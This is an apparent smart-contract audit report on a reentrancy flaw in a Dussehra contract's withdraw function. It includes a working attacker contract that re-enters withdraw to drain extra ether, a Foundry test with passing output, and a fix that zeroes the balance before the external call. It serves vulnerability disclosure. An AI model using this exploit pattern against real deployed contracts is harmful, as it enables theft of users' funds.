Summary
The function Dussehra.withdraw() can be exploited by using reentrancy by the winner (Selected Ram) to withdraw more funds than he deserves (if some funds are sent to the contract after the organizer selected Ram).
Vulnerability Details
The function Dussehra.withdraw() can be exploited by using reentrancy by the winner (Selected Ram) to withdraw more funds than he deserves. The variable totalAmountGivenToRam is updated after a call, making it vulnerable to a reentrancy attack. If people send funds to the smart contract after the Ram has been selected, these funds could be drained by the winner using a reentrancy attack dunring the withdraw phase of his reward
Impact
The winner (Selected Ram) can withdraw more reward than he deserves.
Code Example
This code should be added to the smart contract Dussehra.sol#CounterTest:
function test_reentrancyWithdraw() public participants {
address attacker = address(0xabc123);
vm.deal(attacker, 1 ether);
vm.deal(player4, 1 ether);
vm.deal(player3, 1 ether);
vm.prank(attacker);
HackReentrancy hack = new HackReentrancy(address(dussehra), address(choosingRam), address(ramNFT));
vm.prank(attacker);
hack.enterInRam{value: 1 ether}();
assertEq(attacker.balance, 0 ether);
assertEq(address(dussehra).balance, 3 ether);
vm.warp(1728691200 + 1);
vm.prank(organizer);
choosingRam.selectRamIfNotSelected();
assertEq(choosingRam.selectedRam(), address(hack));
vm.prank(player4);
dussehra.killRavana();
assertEq(organizer.balance, 1.5 ether);
vm.prank(player3);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
vm.prank(player4);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
assertEq(address(dussehra).balance, 3.5 ether);
assertEq(attacker.balance, 0 ether);
vm.prank(attacker);
hack.hack();
assertEq(attacker.balance, 3 ether);
}
Attacker hack Smart Contract use to do the reentrency
contract HackReentrency {
Dussehra public dussehra;
ChoosingRam public choosingRam;
RamNFT public ramNFT;
address public attacker;
bool isAlreadyHack = false;
constructor(address _dussehra, address _choosingRam, address _ramNFT) {
dussehra = Dussehra(_dussehra);
choosingRam = ChoosingRam(_choosingRam);
ramNFT = RamNFT(_ramNFT);
attacker = msg.sender;
}
function enterInRam() public payable {
dussehra.enterPeopleWhoLikeRam{value: msg.value}();
}
function hack() public {
dussehra.withdraw();
}
receive() external payable {
if (!isAlreadyHack) {
isAlreadyHack = true;
dussehra.withdraw();
(bool success,) = (attacker).call{value: address(this).balance}("");
require(success, "Failed to send ether");
}
}
function onERC721Received(address, address, uint256, bytes calldata) external pure returns (bytes4) {
return bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"));
}
}
Result:
The winner (Selected Ram) should get 1.5 ether like the organizer, but he gets 3 ether using reentrancy.
forge test --mt test_reentrancyWithdraw
[⠊] Compiling...
No files changed, compilation skipped
Ran 1 test for test/Dussehra.t.sol:CounterTest
[PASS] test_reentrancyWithdraw() (gas: 1149459)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.32ms (1.33ms CPU time)
Tools Used
Manual review.
Recommendations
Fix the error in the code:
function withdraw() public RamIsSelected OnlyRam RavanKilled {
if (totalAmountGivenToRam == 0) {
revert Dussehra__AlreadyClaimedAmount();
}
uint256 amount = totalAmountGivenToRam;
+ totalAmountGivenToRam = 0;
(bool success,) = msg.sender.call{value: amount}("");
require(success, "Failed to send money to Ram");
- totalAmountGivenToRam = 0;
}